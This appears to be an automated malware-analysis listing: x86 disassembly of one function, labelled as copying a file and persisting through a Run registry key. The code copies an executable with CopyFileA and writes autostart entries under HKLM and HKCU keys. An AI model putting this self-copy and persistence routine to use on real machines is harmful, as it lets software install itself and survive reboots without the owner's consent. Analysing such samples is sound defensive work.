Function at 0x406b54
Capabilities:
Copy file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xf
push 0
push 0
dec ecx
jne 0x406b5c
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401f38
xor eax, eax
push ebp
push 0x407061
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00401b14
mov eax, dword [0x40d1f0]
cmp dword [eax], 0
jne 0x406ba3
lea eax, [ebp - 8]
call fcn.00405ef0
jmp 0x406c3b
mov eax, dword [0x40d1f0]
cmp dword [eax], 1
jne 0x406bba
lea eax, [ebp - 8]
call fcn.00405f7c
jmp 0x406c3b
mov eax, dword [0x40d1f0]
cmp dword [eax], 2
jne 0x406bce
lea eax, [ebp - 8]
call fcn.00406034
jmp 0x406c3b
mov eax, dword [0x40d1f0]
cmp dword [eax], 3
jne 0x406be2
lea eax, [ebp - 8]
call fcn.004061dc
jmp 0x406c3b
mov eax, dword [0x40d218]
mov eax, dword [eax]
call fcn.00401d50
mov edx, dword [0x40d218]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x5c
je 0x406c11
mov eax, dword [0x40d218]
mov edx, 0x407078
call fcn.00401d58
mov eax, dword [0x40d218]
lea eax, [ebp - 8]
mov edx, dword [0x40d218]
mov edx, dword [edx]
call fcn.00401b58
mov eax, dword [ebp - 8]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.00401cac
mov eax, dword [ebp - 0x18]
call fcn.00406684
mov eax, dword [ebp - 8]
call fcn.00401d50
mov edx, dword [ebp - 8]
cmp byte [edx + eax - 1], 0x5c
je 0x406c5a
lea eax, [ebp - 8]
mov edx, 0x407078
call fcn.00401d58
lea eax, [ebp - 8]
mov edx, dword [0x40d208]
mov edx, dword [edx]
call fcn.00401d58
mov eax, dword [ebp - 8]
call fcn.00401d50
mov edx, dword [ebp - 8]
cmp byte [edx + eax - 1], 0x5c
je 0x406c89
lea eax, [ebp - 8]
mov edx, 0x407078
call fcn.00401d58
mov ecx, dword [0x40d20c]
mov ecx, dword [ecx]
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00401d9c
mov eax, dword [ebp - 8]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.00401cac
mov eax, dword [ebp - 0x1c]
call fcn.00406684
mov eax, dword [ebp - 0xc]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.00401cac
mov eax, dword [ebp - 0x20]
call fcn.00405a28
lea eax, [ebp - 0x24]
call fcn.00405bec
push dword [ebp - 0x24]
push 0x407078
mov eax, dword [0x40d208]
push dword [eax]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00401e10
mov eax, dword [ebp - 0x10]
call fcn.00401d50
mov edx, dword [ebp - 0x10]
cmp byte [edx + eax - 1], 0x5c
je 0x406d13
lea eax, [ebp - 0x10]
mov edx, 0x407078
call fcn.00401d58
mov ecx, dword [0x40d20c]
mov ecx, dword [ecx]
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00401d9c
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00404740
mov eax, dword [ebp - 0x28]
push eax
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.00404740
mov edx, dword [ebp - 0x2c]
pop eax
call fcn.00401e94
je 0x406d70
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
call fcn.00404740
mov eax, dword [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 4]
call fcn.00404740
mov edx, dword [ebp - 0x34]
pop eax
call fcn.00401e94
jne 0x406d7f
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00401b14
jmp 0x407046
push 0
mov eax, dword [ebp - 0xc]
call fcn.00401f48
push eax
mov eax, dword [ebp - 4]
call fcn.00401f48
mov esi, eax
push esi
call sub.KERNEL32.DLL_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x406db0
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.00401b14
jmp 0x406e0f
mov eax, dword [ebp - 0x10]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x38]
call fcn.00401cac
mov eax, dword [ebp - 0x38]
call fcn.00406684
mov eax, dword [ebp - 0x14]
call fcn.00401f48
mov edi, eax
mov edx, edi
lea eax, [ebp - 0x3c]
call fcn.00401cac
mov eax, dword [ebp - 0x3c]
call fcn.00405a28
push 0
push edi
push esi
call sub.KERNEL32.DLL_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x406e05
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00401b14
jmp 0x406e0f
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00401b14
mov eax, dword [0x40d1ec]
cmp dword [eax], 0
je 0x406f0b
push 0
lea eax, [ebp - 0x40]
push eax
mov eax, dword [0x40d1ec]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x44]
call fcn.00401cac
mov ecx, dword [ebp - 0x44]
mov edx, 0x407084
mov eax, 0x80000002
call fcn.00406088
mov eax, dword [ebp - 0x40]
mov edx, dword [ebx]
call fcn.00401e94
je 0x406e94
mov eax, dword [ebx]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.00401cac
mov eax, dword [ebp - 0x48]
push eax
mov eax, dword [0x40d1ec]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x4c]
call fcn.00401cac
mov ecx, dword [ebp - 0x4c]
mov edx, 0x407084
mov eax, 0x80000002
call fcn.00405c4c
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, dword [0x40d1ec]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x54]
call fcn.00401cac
mov ecx, dword [ebp - 0x54]
mov edx, 0x407084
mov eax, 0x80000001
call fcn.00406088
mov eax, dword [ebp - 0x50]
mov edx, dword [ebx]
call fcn.00401e94
je 0x406f0b
mov eax, dword [ebx]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x58]
call fcn.00401cac
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [0x40d1ec]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x5c]
call fcn.00401cac
mov ecx, dword [ebp - 0x5c]
mov edx, 0x407084
mov eax, 0x80000001
call fcn.00405c4c
mov eax, dword [0x40d1d8]
cmp dword [eax], 0
je 0x406f8c
push 0
lea eax, [ebp - 0x60]
push eax
mov eax, dword [0x40d1d8]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x64]
call fcn.00401cac
mov ecx, dword [ebp - 0x64]
mov edx, 0x4070cc
mov eax, 0x80000002
call fcn.00406088
mov eax, dword [ebp - 0x60]
mov edx, dword [ebx]
call fcn.00401e94
je 0x406f8c
mov eax, dword [ebx]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x68]
call fcn.00401cac
mov eax, dword [ebp - 0x68]
push eax
mov eax, dword [0x40d1d8]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x6c]
call fcn.00401cac
mov ecx, dword [ebp - 0x6c]
mov edx, 0x4070cc
mov eax, 0x80000002
call fcn.00405c4c
mov eax, dword [0x40d1e0]
cmp dword [eax], 0
je 0x40700d
push 0
lea eax, [ebp - 0x70]
push eax
mov eax, dword [0x40d1e0]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x74]
call fcn.00401cac
mov ecx, dword [ebp - 0x74]
mov edx, 0x4070cc
mov eax, 0x80000001
call fcn.00406088
mov eax, dword [ebp - 0x70]
mov edx, dword [ebx]
call fcn.00401e94
je 0x40700d
mov eax, dword [ebx]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x78]
call fcn.00401cac
mov eax, dword [ebp - 0x78]
push eax
mov eax, dword [0x40d1e0]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
lea eax, [ebp - 0x7c]
call fcn.00401cac
mov ecx, dword [ebp - 0x7c]
mov edx, 0x4070cc
mov eax, 0x80000001
call fcn.00405c4c
mov eax, dword [0x40d1e4]
cmp dword [eax], 0
je 0x407046
push 0x4070fc
mov dl, 1
mov eax, dword [0x4067e8]
call fcn.00406840
push eax
mov eax, dword [ebx]
call fcn.00401f48
push eax
mov eax, dword [0x40d1e4]
mov eax, dword [eax]
call fcn.00401f48
mov edx, eax
pop ecx
pop eax
call fcn.00406adc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407068
lea eax, [ebp - 0x7c]
mov edx, 0x1f
call fcn.00401ae4
ret